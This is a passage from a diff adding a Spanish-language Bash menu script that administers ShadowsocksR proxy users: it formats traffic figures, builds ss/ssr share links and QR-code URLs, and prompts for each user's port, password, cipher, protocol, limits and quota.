'BEGIN{printf "%.2f\n",'${d_1}'/'1048576'}') + d="${d} MB" + elif [[ ${d_1} -lt 1099511627776 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1073741824'}') + d="${d} GB" + elif [[ ${d_1} -lt 1125899906842624 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1099511627776'}') + d="${d} TB" + fi + #echo "d=${d}" + if [[ ${transfer_enable_Used_1} -lt 1024 ]]; then + transfer_enable_Used="${transfer_enable_Used_1} B" + elif [[ ${transfer_enable_Used_1} -lt 1048576 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1024'}') + transfer_enable_Used="${transfer_enable_Used} KB" + elif [[ ${transfer_enable_Used_1} -lt 1073741824 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1048576'}') + transfer_enable_Used="${transfer_enable_Used} MB" + elif [[ ${transfer_enable_Used_1} -lt 1099511627776 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1073741824'}') + transfer_enable_Used="${transfer_enable_Used} GB" + elif [[ ${transfer_enable_Used_1} -lt 1125899906842624 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1099511627776'}') + transfer_enable_Used="${transfer_enable_Used} TB" + fi + #echo "transfer_enable_Used=${transfer_enable_Used}" + if [[ ${transfer_enable_Used_2_1} -lt 1024 ]]; then + transfer_enable_Used_2="${transfer_enable_Used_2_1} B" + elif [[ ${transfer_enable_Used_2_1} -lt 1048576 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1024'}') + transfer_enable_Used_2="${transfer_enable_Used_2} KB" + elif [[ ${transfer_enable_Used_2_1} -lt 1073741824 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1048576'}') + transfer_enable_Used_2="${transfer_enable_Used_2} MB" + elif [[ ${transfer_enable_Used_2_1} -lt 1099511627776 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1073741824'}') + transfer_enable_Used_2="${transfer_enable_Used_2} GB" + elif [[ ${transfer_enable_Used_2_1} -lt 1125899906842624 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1099511627776'}') + transfer_enable_Used_2="${transfer_enable_Used_2} TB" + fi + #echo "transfer_enable_Used_2=${transfer_enable_Used_2}" +} +urlsafe_base64(){ + date=$(echo -n "$1"|base64|sed ':a;N;s/\n/ /g;ta'|sed 's/ //g;s/=//g;s/+/-/g;s/\//_/g') + echo -e "${date}" +} +ss_link_qr(){ + SSbase64=$(urlsafe_base64 "${method}:${password}@${ip}:${port}") + SSurl="ss://${SSbase64}" + SSQRcode="http://doub.pw/qr/qr.php?text=${SSurl}" + ss_link=" SS Link : ${Green_font_prefix}${SSurl}${Font_color_suffix} \n Codigo QR SS: ${Green_font_prefix}${SSQRcode}${Font_color_suffix}" +} +ssr_link_qr(){ + SSRprotocol=$(echo ${protocol} | sed 's/_compatible//g') + SSRobfs=$(echo ${obfs} | sed 's/_compatible//g') + SSRPWDbase64=$(urlsafe_base64 "${password}") + SSRbase64=$(urlsafe_base64 "${ip}:${port}:${SSRprotocol}:${method}:${SSRobfs}:${SSRPWDbase64}") + SSRurl="ssr://${SSRbase64}" + SSRQRcode="http://doub.pw/qr/qr.php?text=${SSRurl}" + ssr_link=" SSR Link : ${Red_font_prefix}${SSRurl}${Font_color_suffix} \n Codigo QR SSR: ${Red_font_prefix}${SSRQRcode}${Font_color_suffix} \n " +} +ss_ssr_determine(){ + protocol_suffix=`echo ${protocol} | awk -F "_" '{print $NF}'` + obfs_suffix=`echo ${obfs} | awk -F "_" '{print $NF}'` + if [[ ${protocol} = "origin" ]]; then + if [[ ${obfs} = "plain" ]]; then + ss_link_qr + ssr_link="" + else + if [[ ${obfs_suffix} != "compatible" ]]; then + ss_link="" + else + ss_link_qr + fi + fi + else + if [[ ${protocol_suffix} != "compatible" ]]; then + ss_link="" + else + if [[ ${obfs_suffix} != "compatible" ]]; then + if [[ ${obfs_suffix} = "plain" ]]; then + ss_link_qr + else + ss_link="" + fi + else + ss_link_qr + fi + fi + fi + ssr_link_qr +} +# Display configuration information +View_User(){ +clear + SSR_installation_status + List_port_user + while true + do +echo -e "$BARRA" + echo -e "${ama_font_prefix}Por favor ingrese el puerto de usuario para ver la informacion de la cuenta ${Font_color_suffix}" +echo -e "$BARRA1" + stty erase '^H' && read -p "(Predeterminado: cancelar):" View_user_port + [[ -z "${View_user_port}" ]] && echo -e "Cancelado ..." && ${SCPfrm}/ssrrmu.sh + View_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${View_user_port}"',') + if [[ ! -z ${View_user} ]]; then + Get_User_info "${View_user_port}" + View_User_info + break + else + echo -e "${Error} Por favor ingrese el puerto correcto !" + fi + done +read -p "Enter para continuar" enter +} +View_User_info(){ + ip=$(cat ${config_user_api_file}|grep "SERVER_PUB_ADDR = "|awk -F "[']" '{print $2}') + [[ -z "${ip}" ]] && Get_IP + ss_ssr_determine + clear && echo -e "$BARRA1" + echo -e " Usuario [${user_name}] informacion de configuracion:" && echo +echo -e "$BARRA" + echo -e " ${blan_font_prefix}IP :${Font_color_suffix} ${Green_font_prefix}${ip}${Font_color_suffix}" +echo -e "$BARRA" + echo -e " ${blan_font_prefix}Puerto :${Font_color_suffix} ${Green_font_prefix}${port}${Font_color_suffix}" +echo -e "$BARRA" + echo -e " ${blan_font_prefix}Password :${Font_color_suffix} ${Green_font_prefix}${password}${Font_color_suffix}" +echo -e "$BARRA" + echo -e " ${blan_font_prefix}Encriptacion :${Font_color_suffix} ${Green_font_prefix}${method}${Font_color_suffix}" +echo -e "$BARRA" + echo -e " ${blan_font_prefix}Protocol :${Font_color_suffix} ${Red_font_prefix}${protocol}${Font_color_suffix}" +echo -e "$BARRA" + echo -e " ${blan_font_prefix}Obfs :${Font_color_suffix} ${Red_font_prefix}${obfs}${Font_color_suffix}" +echo -e "$BARRA" + echo -e " ${blan_font_prefix}Limite del dispositivo :${Font_color_suffix} ${Green_font_prefix}${protocol_param}${Font_color_suffix}" +echo -e "$BARRA" + echo -e " ${blan_font_prefix}Limite de velocidad de subproceso unico :${Font_color_suffix} ${Green_font_prefix}${speed_limit_per_con} KB/S${Font_color_suffix}" +echo -e "$BARRA" + echo -e " ${blan_font_prefix}Limite total de velocidad del usuario :${Font_color_suffix} ${Green_font_prefix}${speed_limit_per_user} KB/S${Font_color_suffix}" +echo -e "$BARRA" + echo -e " ${blan_font_prefix}Puerto prohibido :${Font_color_suffix} ${Green_font_prefix}${forbidden_port} ${Font_color_suffix}" +echo -e "$BARRA" + echo -e " ${blan_font_prefix}Se utiliza el trafico:Carga :${Font_color_suffix} ${Green_font_prefix}${u}${Font_color_suffix} + Descarga: ${Green_font_prefix}${d}${Font_color_suffix} = ${Green_font_prefix}${transfer_enable_Used_2}${Font_color_suffix}" +echo -e "$BARRA" + echo -e " ${blan_font_prefix}Trafico restante :${Font_color_suffix} ${Green_font_prefix}${transfer_enable_Used} ${Font_color_suffix}" +echo -e "$BARRA" + echo -e " ${blan_font_prefix}Trafico total de usuarios :${Font_color_suffix} ${Green_font_prefix}${transfer_enable} ${Font_color_suffix}" +echo -e "$BARRA" + echo -e "${ss_link}" +echo -e "$BARRA" + echo -e "${ssr_link}" +echo -e "$BARRA" + echo -e " ${Tip} ${blan_font_prefix}En el navegador, abra el enlace del codigo QR, puede ver la imagen del codigo QR.${Font_color_suffix}" + echo && echo -e "$BARRA1" +} +#Configuracin de la informacin de configuracin +Set_config_user(){ +echo -e "$BARRA1" + echo -e "${ama_font_prefix}Por favor ingrese el nombre de usuario que desea configurar ${blan_font_prefix}(${Font_color_suffix}${Red_font_prefix}no repetir${Font_color_suffix}${blan_font_prefix}!)${Font_color_suffix}" +echo -e "$BARRA" + stty erase '^H' && read -p "(Predeterminado: dankel):" ssr_user + [[ -z "${ssr_user}" ]] && ssr_user="dankel" + echo && echo ${Separator_1} && echo -e "${blan_font_prefix}Nombre de usuario :${Font_color_suffix} ${Green_font_prefix}${ssr_user}${Font_color_suffix}" && echo ${Separator_1} && echo +} +Set_config_port(){ +echo -e "$BARRA1" + while true + do + echo -e "${ama_font_prefix}Por favor ingrese el puerto de usuario a configurar ${Font_color_suffix}" +echo -e "$BARRA" + stty erase '^H' && read -p "(Predeterminado: 445):" ssr_port + [[ -z "$ssr_port" ]] && ssr_port="445" + expr ${ssr_port} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_port} -ge 1 ]] && [[ ${ssr_port} -le 65535 ]]; then + echo && echo ${Separator_1} && echo -e "${blan_font_prefix}Puerto :${Font_color_suffix} ${Green_font_prefix}${ssr_port}${Font_color_suffix}" && echo ${Separator_1} && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-65535)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-65535)" + fi + done +} +Set_config_password(){ +echo -e "$BARRA1" + echo -e "${ama_font_prefix}Por favor ingrese la contrasena de usuario que desea configurar${Font_color_suffix}" +echo -e "$BARRA" + stty erase '^H' && read -p "(Predeterminado: dankel):" ssr_password + [[ -z "${ssr_password}" ]] && ssr_password="dankel" + echo && echo ${Separator_1} && echo -e "${blan_font_prefix}contrasena :${Font_color_suffix} ${Green_font_prefix}${ssr_password}${Font_color_suffix}" && echo ${Separator_1} && echo +} +Set_config_method(){ +echo -e "$BARRA1" + echo -e "${ama_font_prefix}Seleccione el metodo de encriptacion del usuario que desea configurar +${BARRA} + ${Green_font_prefix}[1] >${Font_color_suffix} Ninguno + ${Green_font_prefix}[2] >${Font_color_suffix} rc4 + ${Green_font_prefix}[3] >${Font_color_suffix} rc4-md5 + ${Green_font_prefix}[4] >${Font_color_suffix} rc4-md5-6 + ${Green_font_prefix}[5] >${Font_color_suffix} aes-128-ctr + ${Green_font_prefix}[6] >${Font_color_suffix} aes-192-ctr + ${Green_font_prefix}[7] >${Font_color_suffix} aes-256-ctr + ${Green_font_prefix}[8] >${Font_color_suffix} aes-128-cfb + ${Green_font_prefix}[9] >${Font_color_suffix} aes-192-cfb + ${Green_font_prefix}[10] >${Font_color_suffix} aes-256-cfb + ${Green_font_prefix}[11] >${Font_color_suffix} aes-128-cfb8 + ${Green_font_prefix}[12] >${Font_color_suffix} aes-192-cfb8 + ${Green_font_prefix}[13] >${Font_color_suffix} aes-256-cfb8 + ${Green_font_prefix}[14] >${Font_color_suffix} salsa20 + ${Green_font_prefix}[15] >${Font_color_suffix} chacha20 + ${Green_font_prefix}[16] >${Font_color_suffix} chacha20-ietf + + ${Red_font_prefix}[17] >${Font_color_suffix} xsalsa20 + ${Red_font_prefix}[18] >${Font_color_suffix} xchacha20 +${BARRA} + ${Tip} ${blue_font_prefix}Para salsa20/chacha20-*, Porfavor instale libsodium${Font_color_suffix}" +echo -e "$BARRA1" + stty erase '^H' && read -p "(Predeterminado: 10. aes-256-cfb):" ssr_method + [[ -z "${ssr_method}" ]] && ssr_method="10" + if [[ ${ssr_method} == "1" ]]; then + ssr_method="Ninguno" + elif [[ ${ssr_method} == "2" ]]; then + ssr_method="rc4" + elif [[ ${ssr_method} == "3" ]]; then + ssr_method="rc4-md5" + elif [[ ${ssr_method} == "4" ]]; then + ssr_method="rc4-md5-6" + elif [[ ${ssr_method} == "5" ]]; then + ssr_method="aes-128-ctr" + elif [[ ${ssr_method} == "6" ]]; then + ssr_method="aes-192-ctr" + elif [[ ${ssr_method} == "7" ]]; then + ssr_method="aes-256-ctr" + elif [[ ${ssr_method} == "8" ]]; then + ssr_method="aes-128-cfb" + elif [[ ${ssr_method} == "9" ]]; then + ssr_method="aes-192-cfb" + elif [[ ${ssr_method} == "10" ]]; then + ssr_method="aes-256-cfb" + elif [[ ${ssr_method} == "11" ]]; then + ssr_method="aes-128-cfb8" + elif [[ ${ssr_method} == "12" ]]; then + ssr_method="aes-192-cfb8" + elif [[ ${ssr_method} == "13" ]]; then + ssr_method="aes-256-cfb8" + elif [[ ${ssr_method} == "14" ]]; then + ssr_method="salsa20" + elif [[ ${ssr_method} == "15" ]]; then + ssr_method="chacha20" + elif [[ ${ssr_method} == "16" ]]; then + ssr_method="chacha20-ietf" + elif [[ ${ssr_method} == "17" ]]; then + ssr_method="xsalsa20" + elif [[ ${ssr_method} == "18" ]]; then + ssr_method="xchacha20" + else + ssr_method="aes-256-cfb" + fi + echo && echo ${Separator_1} && echo -e "${Green_font_prefix}Encriptacion :${Font_color_suffix} ${Green_font_prefix}${ssr_method}${Font_color_suffix}" && echo ${Separator_1} && echo +} +Set_config_protocol(){ +echo -e "$BARRA1" + echo -e "${ama_font_prefix}Por favor, seleccione el protocolo +${BARRA} + ${Green_font_prefix}[1] >${Font_color_suffix} origin + ${Green_font_prefix}[2] >${Font_color_suffix} auth_sha1_v4 + ${Green_font_prefix}[3] >${Font_color_suffix} auth_aes128_md5 + ${Green_font_prefix}[4] >${Font_color_suffix} auth_aes128_sha1 + ${Green_font_prefix}[5] >${Font_color_suffix} auth_chain_a + ${Green_font_prefix}[6] >${Font_color_suffix} auth_chain_b + + ${Red_font_prefix}[7] >${Font_color_suffix} auth_chain_c + ${Red_font_prefix}[8] >${Font_color_suffix} auth_chain_d + ${Red_font_prefix}[9] >${Font_color_suffix} auth_chain_e + ${Red_font_prefix}[10] >${Font_color_suffix} auth_chain_f +${BARRA} + ${Tip} ${blue_font_prefix}Si selecciona el protocolo de serie auth_chain_ *, se recomienda establecer el metodo de cifrado en ninguno${Font_color_suffix}" +echo -e "$BARRA1" + stty erase '^H' && read -p "(Predterminado: 1. origin):" ssr_protocol + [[ -z "${ssr_protocol}" ]] && ssr_protocol="1" + if [[ ${ssr_protocol} == "1" ]]; then + ssr_protocol="origin" + elif [[ ${ssr_protocol} == "2" ]]; then + ssr_protocol="auth_sha1_v4" + elif [[ ${ssr_protocol} == "3" ]]; then + ssr_protocol="auth_aes128_md5" + elif [[ ${ssr_protocol} == "4" ]]; then + ssr_protocol="auth_aes128_sha1" + elif [[ ${ssr_protocol} == "5" ]]; then + ssr_protocol="auth_chain_a" + elif [[ ${ssr_protocol} == "6" ]]; then + ssr_protocol="auth_chain_b" + elif [[ ${ssr_protocol} == "7" ]]; then + ssr_protocol="auth_chain_c" + elif [[ ${ssr_protocol} == "8" ]]; then + ssr_protocol="auth_chain_d" + elif [[ ${ssr_protocol} == "9" ]]; then + ssr_protocol="auth_chain_e" + elif [[ ${ssr_protocol} == "10" ]]; then + ssr_protocol="auth_chain_f" + else + ssr_protocol="origin" + fi + echo && echo ${Separator_1} && echo -e " Protocolo : ${Green_font_prefix}${ssr_protocol}${Font_color_suffix}" && echo ${Separator_1} && echo + if [[ ${ssr_protocol} != "origin" ]]; then + if [[ ${ssr_protocol} == "auth_sha1_v4" ]]; then + stty erase '^H' && read -p "Set protocol plug-in to compatible mode(_compatible)?[Y/n]" ssr_protocol_yn + [[ -z "${ssr_protocol_yn}" ]] && ssr_protocol_yn="y" + [[ $ssr_protocol_yn == [Yy] ]] && ssr_protocol=${ssr_protocol}"_compatible" + echo + fi + fi +} +Set_config_obfs(){ +echo -e "$BARRA1" + echo -e "${ama_font_prefix}Por favor, seleccione el metodo obfs +${BARRA} + ${Green_font_prefix}[1] >${Font_color_suffix} plain + ${Green_font_prefix}[2] >${Font_color_suffix} http_simple + ${Green_font_prefix}[3] >${Font_color_suffix} http_post + ${Green_font_prefix}[4] >${Font_color_suffix} random_head + ${Green_font_prefix}[5] >${Font_color_suffix} tls1.2_ticket_auth +${BARRA} + ${Tip} ${blue_font_prefix}Si elige tls1.2_ticket_auth, entonces el cliente puede elegir tls1.2_ticket_fastauth!${Font_color_suffix}" +echo -e "$BARRA1" + stty erase '^H' && read -p "(Predeterminado: 5. tls1.2_ticket_auth):" ssr_obfs + [[ -z "${ssr_obfs}" ]] && ssr_obfs="5" + if [[ ${ssr_obfs} == "1" ]]; then + ssr_obfs="plain" + elif [[ ${ssr_obfs} == "2" ]]; then + ssr_obfs="http_simple" + elif [[ ${ssr_obfs} == "3" ]]; then + ssr_obfs="http_post" + elif [[ ${ssr_obfs} == "4" ]]; then + ssr_obfs="random_head" + elif [[ ${ssr_obfs} == "5" ]]; then + ssr_obfs="tls1.2_ticket_auth" + else + ssr_obfs="tls1.2_ticket_auth" + fi + echo && echo ${Separator_1} && echo -e "${blan_font_prefix}Obfs :${Font_color_suffix} ${Green_font_prefix}${ssr_obfs}${Font_color_suffix}" && echo ${Separator_1} && echo + if [[ ${ssr_obfs} != "plain" ]]; then + stty erase '^H' && read -p "Configurar el complemento de protocolo en modo compatible(_compatible)?[Y/n]" ssr_obfs_yn + [[ -z "${ssr_obfs_yn}" ]] && ssr_obfs_yn="y" + [[ $ssr_obfs_yn == [Yy] ]] && ssr_obfs=${ssr_obfs}"_compatible" + echo + fi +} +Set_config_protocol_param(){ +echo -e "$BARRA1" + while true + do + echo -e "${ama_font_prefix}Ingrese la cantidad de dispositivos que desea configurar para limitar${Font_color_suffix} (${Green_font_prefix} auth_*La serie no es compatible con la version original. ${Font_color_suffix})" +echo -e "$BARRA" + echo -e "${Tip} ${blue_font_prefix}Limite de numero de dispositivos: el numero de clientes que se pueden vincular al mismo tiempo por puerto (modo multipuerto, cada puerto se calcula de forma independiente), el minimo recomendado es 2.${Font_color_suffix}" +echo -e "$BARRA1" + stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_protocol_param + [[ -z "$ssr_protocol_param" ]] && ssr_protocol_param="" && echo && break + expr ${ssr_protocol_param} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_protocol_param} -ge 1 ]] && [[ ${ssr_protocol_param} -le 9999 ]]; then + echo && echo ${Separator_1} && echo -e "${blan_font_prefix}Limite del dispositivo :${Font_color_suffix} ${Green_font_prefix}${ssr_protocol_param}${Font_color_suffix}" && echo ${Separator_1} && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-9999)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-9999)" + fi + done +} +Set_config_speed_limit_per_con(){ +echo -e "$BARRA1" + while true + do + echo -e "${ama_font_prefix}Introduzca el limite del hilo unico del usuario que se establecera${Font_color_suffix} ${blan_font_prefix}(in KB/S)${Font_color_suffix}" +echo -e "$BARRA" + stty erase '^H' && read -p "(Predterminado: Ilimitado):" ssr_speed_limit_per_con + [[ -z "$ssr_speed_limit_per_con" ]] && ssr_speed_limit_per_con=0 && echo && break + expr ${ssr_speed_limit_per_con} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_speed_limit_per_con} -ge 1 ]] && [[ ${ssr_speed_limit_per_con} -le 131072 ]]; then + echo && echo ${Separator_1} && echo -e "${blan_font_prefix}Limite de velocidad de subproceso unico :${Font_color_suffix} ${Green_font_prefix}${ssr_speed_limit_per_con} KB/S${Font_color_suffix}" && echo ${Separator_1} && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + done +} +Set_config_speed_limit_per_user(){ +echo -e "$BARRA1" + while true + do + echo + echo -e "${ama_font_prefix}Ingrese el limite de velocidad de usuario maximo que desea establecer${Font_color_suffix} ${blan_font_prefix}(in KB/S)${Font_color_suffix}" +echo -e "$BARRA" + echo -e "${Tip} ${blue_font_prefix}Limite de velocidad del puerto total: el limite de velocidad total de un solo puerto.${Font_color_suffix}" +echo -e "$BARRA1" + stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_speed_limit_per_user + [[ -z "$ssr_speed_limit_per_user" ]] && ssr_speed_limit_per_user=0 && echo && break + expr ${ssr_speed_limit_per_user} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_speed_limit_per_user} -ge 1 ]] && [[ ${ssr_speed_limit_per_user} -le 131072 ]]; then + echo && echo ${Separator_1} && echo -e "${blan_font_prefix}Limite total de velocidad del usuario :S${Font_color_suffix} ${Green_font_prefix}${ssr_speed_limit_per_user} KB/S${Font_color_suffix}" && echo ${Separator_1} && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + done +} +Set_config_transfer(){ +echo -e "$BARRA1" + while true + do + echo + echo -e "${ama_font_prefix}Ingrese la cantidad total de trafico disponible para que el usuario la configureS${Font_color_suffix} ${blan_font_prefix}(en GB, 1-838868 GB)S${Font_color_suffix}" +echo -e "$BARRA" + stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_transfer + [[ -z "$ssr_transfer" ]] && ssr_transfer="838868" && echo && break + expr ${ssr_transfer} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_transfer} -ge 1 ]] && [[ ${ssr_transfer} -le 838868 ]]; then + echo && echo ${Separator_1} && echo -e "${blan_font_prefix}Trafico total de usuarios :${Font_color_suffix} ${Green_font_prefix}${ssr_transfer} GB${Font_color_suffix}" && echo ${Separator_1} && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-838868)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-838868)" + fi + done +} +Set_config_forbid(){ +echo -e "$BARRA1" + echo -e "${ama_font_prefix}Puerto prohibido${Font_color_suffix}" +echo -e "$BARRA" + echo -e "${Tip} ${blue_font_prefix}Puertos prohibidos: por ejemplo, si no permite el acceso al puerto 25, los usuarios no podran acceder al puerto de correo 25 a traves del proxy de SSR. Si 80,443 esta desactivado, los usuarios no podran Acceda a los sitios http/https normalmente.${Font_color_suffix}" +echo -e "$BARRA1" + stty erase '^H' && read -p "(Predeterminado: permitir todo):" ssr_forbid + [[ -z "${ssr_forbid}" ]] && ssr_forbid="" + echo && echo ${Separator_1} && echo -e "${blan_font_prefix}Puerto prohibido :${Font_color_suffix} ${Green_font_prefix}${ssr_forbid}${Font_color_suffix}" && echo ${Separator_1} && echo +} +Set_config_enable(){ + user_total=$(expr ${user_total} - 1) + for((integer = 0; integer <= ${user_total}; integer++)) + do + echo -e "integer=${integer}" + port_jq=$(${jq_file} ".[${integer}].port" "${config_user_mudb_file}") + echo -e "port_jq=${port_jq}" + if [[ "${ssr_port}" == "${port_jq}" ]]; then + enable=$(${jq_file} ".[${integer}].enable" "${config_user_mudb_file}") + echo -e "enable=${enable}" + [[ "${enable}" == "null" ]] && echo -e "${Error} Obtenga el puerto actual [${ssr_port}] Estado deshabilitado fallido!" && exit 1 + ssr_port_num=$(cat "${config_user_mudb_file}"|grep -n '"puerto": '${ssr_port}','|awk -F ":" '{print $1}') + echo -e "ssr_port_num=${ssr_port_num}" + [[ "${ssr_port_num}" == "null" ]] && echo -e "${Error}Obtener actualPuerto [${ssr_port}] Numero de filas fallidas!" && exit 1 + ssr_enable_num=$(expr ${ssr_port_num} - 5) + echo -e "ssr_enable_num=${ssr_enable_num}" + break + fi + done + if [[ "${enable}" == "1" ]]; then + echo -e "Puerto [${ssr_port}] El estado de la cuenta es: ${Green_font_prefix}Enabled ${Font_color_suffix} , Cambiar a ${Red_font_prefix}Disabled${Font_color_suffix} ?[Y/n]" + stty erase '^H' && read -p "(Predeterminado: Y):" ssr_enable_yn + [[ -z "${ssr_enable_yn}" ]] && ssr_enable_yn="y" + if [[ "${ssr_enable_yn}" == [Yy] ]]; then + ssr_enable="0" + else + echo "Cancelado..." && exit 0 + fi + elif [[ "${enable}" == "0" ]]; then + echo -e "Port [${ssr_port}] El estado de la cuenta:${Green_font_prefix}Habilitado ${Font_color_suffix} , Cambie a ${Red_font_prefix}Deshabilitado${Font_color_suffix} ?[Y/n]" + stty erase '^H' && read -p "(Predeterminado: Y):" ssr_enable_yn + [[ -z "${ssr_enable_yn}" ]] && ssr_enable_yn = "y" + if [[ "${ssr_enable_yn}" == [Yy] ]]; then + ssr_enable="1" + else + echo "Cancelar ..." && exit 0 + fi + else + echo -e "${Error} El actual estado de discapacidad de Puerto es anormal.[${enable}] !" && exit 1 + fi +} +Set_user_api_server_pub_addr(){ + addr=$1 + if [[ "${addr}" == "Modify" ]]; then + server_pub_addr=$(cat ${config_user_api_file}|grep "SERVER_PUB_ADDR = "|awk -F "[']" '{print $2}') + if [[ -z ${server_pub_addr} ]]; then + echo -e "${Error} La IP del servidor o el nombre de dominio obtenidos fallaron!" && exit 1 + else + echo -e "${Info} La IP del servidor o el nombre de dominio actualmente configurados es ${Green_font_prefix}${server_pub_addr}${Font_color_suffix}" + fi + fi + echo "${ama_font_prefix}Introduzca la IP del servidor o el nombre de dominio que se mostrara en la configuracin del usuario${Font_color_suffix}" +echo -e "$BARRA1" + stty erase '^H' && read -p "(Predeterminado: Predeterminado:Deteccion automatica de la red externa IP):" ssr_server_pub_addr + if [[ -z "${ssr_server_pub_addr}" ]]; then + Get_IP + if [[ ${ip} == "VPS_IP" ]]; then + while true + do + stty erase '^H' && read -p "${Error} La deteccion automatica de la IP de la red externa fallo, ingrese manualmente la IP del servidor o el nombre de dominio" ssr_server_pub_addr + if [[ -z "$ssr_server_pub_addr" ]]; then + echo -e "${Error}No puede estar vacio!" + else + break + fi + done + else + ssr_server_pub_addr="${ip}" + fi + fi + echo && echo ${Separator_1} && echo -e " IP o nombre de dominio: ${Green_font_prefix}${ssr_server_pub_addr}${Font_color_suffix}" && echo ${Separator_1} && echo +} +Set_config_all(){ + lal=$1 + if [[ "${lal}" == "Modify" ]]; then + Set_config_password + Set_config_method + Set_config_protocol + Set_config_obfs + Set_config_protocol_param + Set_config_speed_limit_per_con + Set_config_speed_limit_per_user + Set_config_transfer + Set_config_forbid + else + Set_config_user + Set_config_port + Set_config_password + Set_config_method + Set_config_protocol + Set_config_obfs + Set_config_protocol_param + Set_config_speed_limit_per_con + Set_config_speed_limit_per_user + Set_config_transfer + Set_config_forbid + fi +} +#Modificar la informacin de configuracin +Modify_config_password(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -k "${ssr_password}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion de la contrasena del usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} La contrasena del usuario se modifico correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Puede tardar unos 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_method(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -m "${ssr_method}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion del metodo de cifrado del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Modo de cifrado de usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Note: Nota: la configuracion mas reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_protocol(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -O "${ssr_protocol}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion del protocolo de usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Acuerdo de usuario modificacion exito ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion ms reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_obfs(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -o "${ssr_obfs}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion de la confusion del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Confusion del usuario exito de modificacion ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: La aplicacion de la ultima configuracion puede demorar unos 10 segundos)" + fi +} +Modify_config_protocol_param(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -G "${ssr_protocol_param}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion del parametro del protocolo del usuario (numero de dispositivos limite) ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Parametros de negociacin del usuario (numero de dispositivos limite) modificados correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_speed_limit_per_con(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -s "${ssr_speed_limit_per_con}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion de la velocidad de un solo hilo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Modificacion de la velocidad de un solo hilo exitosa ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_speed_limit_per_user(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -S "${ssr_speed_limit_per_user}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Usuario Puerto la modificacin del limite de velocidad total fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Usuario Puerto limite de 